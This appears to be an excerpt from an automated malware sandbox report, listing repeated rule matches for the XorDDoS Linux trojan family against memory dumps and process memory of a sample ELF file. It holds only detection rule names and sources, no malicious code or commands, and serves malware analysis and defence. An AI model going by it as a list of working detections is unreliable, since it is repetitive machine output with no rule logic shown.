Source: 6443.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6443.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6412.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6412.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6412.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6529.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6529.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6529.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6542.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6542.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6542.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6328.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6328.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6328.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6480.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6480.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6480.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6345.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6345.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6345.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6387.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6387.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6387.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6365.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6365.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6365.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6226.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6226.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6226.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6438.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6438.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6438.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6368.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6368.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6368.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6421.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6421.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6421.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6472.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6472.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6472.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6547.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6547.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6547.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6351.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6351.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6351.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6302.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6302.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6302.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6483.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6483.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6483.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6497.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6497.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6497.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6489.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6489.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6489.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6532.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6532.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6532.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6494.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6494.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6494.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6375.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6375.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6375.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6370.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6370.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6370.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6296.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6296.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6296.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6259.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6259.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6259.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6224.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6224.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6224.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6536.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6536.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6536.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6227.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6227.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6227.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6510.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6510.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6510.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6401.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6401.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6401.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6288.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6288.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6288.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6492.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6492.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6492.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6404.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6404.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6404.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6512.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6512.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6512.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6407.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6407.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6407.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6477.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6477.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6477.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6384.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6384.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6384.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6321.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6321.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6321.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6304.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6304.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6304.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6257.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6257.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6257.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6435.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6435.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6435.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6285.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6285.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6285.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6463.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6463.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6463.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6423.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6423.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6423.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6357.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6357.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6357.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6455.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6455.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6455.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6339.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6339.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6339.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6275.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6275.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6275.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6228.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6228.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6228.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6333.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6333.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6333.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6507.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6507.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6507.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6389.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6389.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6389.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6316.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6316.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6316.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6265.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6265.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6265.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6446.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6446.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6446.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6353.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6353.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6353.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6267.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6267.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6267.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6515.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6515.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6515.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6224, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6226, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6227, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6228, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6257, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6259, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6262, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6265, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6267, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6275, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6278, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6282, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6285, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6288, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6294, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6296, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6299, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6302, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6304, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6311, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6314, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6316, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6319, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6321, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6328, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6331, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6333, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6336, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6339, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6345, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
